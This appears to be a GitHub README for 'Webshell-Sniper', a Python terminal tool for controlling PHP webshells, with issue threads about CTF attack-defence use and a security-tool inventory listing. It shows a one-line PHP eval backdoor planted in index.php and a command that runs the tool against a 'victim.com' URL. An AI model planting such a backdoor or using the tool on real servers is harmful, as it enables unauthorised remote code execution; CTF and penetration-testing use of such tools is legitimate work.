wangyihang / webshell-sniper

:hammer: Manage your website via terminal

Webshell-Sniper

A webshell manager via terminal

Usage :

Usage : 
        python webshell-sniper.py [URL] [METHOD] [AUTH]
Example : 
        python webshell-sniper.py http://127.0.0.1/c.php POST c
Author : 
        WangYihang <[email protected]>

# cat /var/www/html/index.php
<?php eval($_POST['s3cr3t']);?>
# python webshell-sniper.py http://victim.com/index.php POST s3cr3t
...

Installation:

git clone https://github.com/WangYihang/Webshell-Sniper
cd Webshell-Sniper
pip install -r requirements.txt

Example :

v1.1.2

Compatibility :

Enviroment :
    Attacker :
        Linux
        python 2.7
    Victim :
        apache 2.4
        php 7.0

Addations:

1. This tool only support to run on unix-like system.
2. It is able to help user control web server which is running PHP or MySQL.

Contributors

This project exists thanks to all the people who contribute.

Backers

Thank you to all our backers! 🙏 [Become a backer]

Sponsors

Support this project by becoming a sponsor. Your logo will show up here with a link to your website. [Become a sponsor]

webshell-sniper's Issues

大神好，咨询下

最近在打ctf比赛，也想自己搞一个集成化的管理工具维护自己的gamebox，看到您的Webshell-Sniper感觉写得很好~膜拜。
就是想问一下您，按照现有的方式，我给自己的站留个eval后门的话别人不也能利用了嘛，但我试了一下在后门外面套一层REMOTE_ADDR限制访问IP好像Sniper就上不去了。
请问大神有木有好的建议和解决方式呢？或者您还有什么awd的自动化脚本和经验、文章可以借鉴的，求推荐。
再次感谢

adding your tool on rawsec's cybersecurity inventory

• Issue: https://gitlab.com/rawsec/rawsec-cybersecurity-list/issues/64
• Contributing guide: https://inventory.rawsec.ml/contribute.html
• File to modify: https://gitlab.com/rawsec/rawsec-cybersecurity-list/blob/master/data/tools/web_application_exploitation.json